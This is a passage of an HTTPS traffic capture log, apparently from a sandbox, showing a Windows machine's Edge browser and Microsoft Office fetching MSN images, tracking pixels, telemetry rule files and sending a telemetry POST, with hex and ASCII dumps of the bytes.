2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49912	23.59.251.218	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:54 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Fri, 15 Nov 2024 21:51:17 GMT X-Source-Length: 101189 X-Datacenter: westus X-ActivityId: 22220a85-5dca-4198-8d05-5b36a925dcc8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=167500 Expires: Fri, 29 Nov 2024 21:51:33 GMT Date: Wed, 27 Nov 2024 23:19:53 GMT Connection: close
2024-11-27 23:19:54 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 04 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-27 23:19:54 UTC	1766	IN	Data Raw: f3 b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-27 23:19:54 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-27 23:19:54 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
2024-11-27 23:19:54 UTC	10072	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49914	20.110.205.119	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:53 UTC	1279	OUT	GET /c.gif?rnd=1732749586780&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=813126f5459c469fbc2c891c9735c300&activityId=813126f5459c469fbc2c891c9735c300&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=158F1CDE0AE442BB82701695903E2247&MUID=29AE41A233D86250177B54E632BA6317 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-27 23:19:54 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=29AE41A233D86250177B54E632BA6317; domain=.msn.com; expires=Mon, 22-Dec-2025 23:19:54 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=29AE41A233D86250177B54E632BA6317; domain=c.msn.com; expires=Mon, 22-Dec-2025 23:19:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 04-Dec-2024 23:19:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 23:29:54 GMT; path=/; SameSite=None; Secure; Date: Wed, 27 Nov 2024 23:19:53 GMT Connection: close Content-Length: 42
2024-11-27 23:19:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:54 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6b17fc2f-301e-006e-0e9b-40f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231954Z-174f7845968frfdmhC1EWRxxbw0000000xpg000000008qwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231955Z-174f7845968ljs8phC1EWRe6en0000000xg0000000006fsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231955Z-174f7845968cpnpfhC1EWR3afc0000000xb0000000000uuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49917	20.42.65.91	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:56 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732749593621&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11492 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 23:19:56 UTC	11492	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 32 33 3a 31 39 3a 35 33 2e 36 31 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 37 31 39 34 33 62 33 2d 62 38 63 31 2d 34 65 39 64 2d 39 35 32 65 2d 31 39 38 64 33 33 62 38 61 36 33 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 32 39 34 32 30 36 31 37 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T23:19:53.613Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"b71943b3-b8c1-4e9d-952e-198d33b8a634","epoch":"2294206174"},"app":{"locale
2024-11-27 23:19:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a1c783fb35d04b0d8115be598e6efe01&HASH=a1c7&LV=202411&V=4&LU=1732749596219; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 23:19:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d79f57d79f9b40369891417139a0c5a5; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 23:49:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2598 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 23:19:55 GMT Connection: close

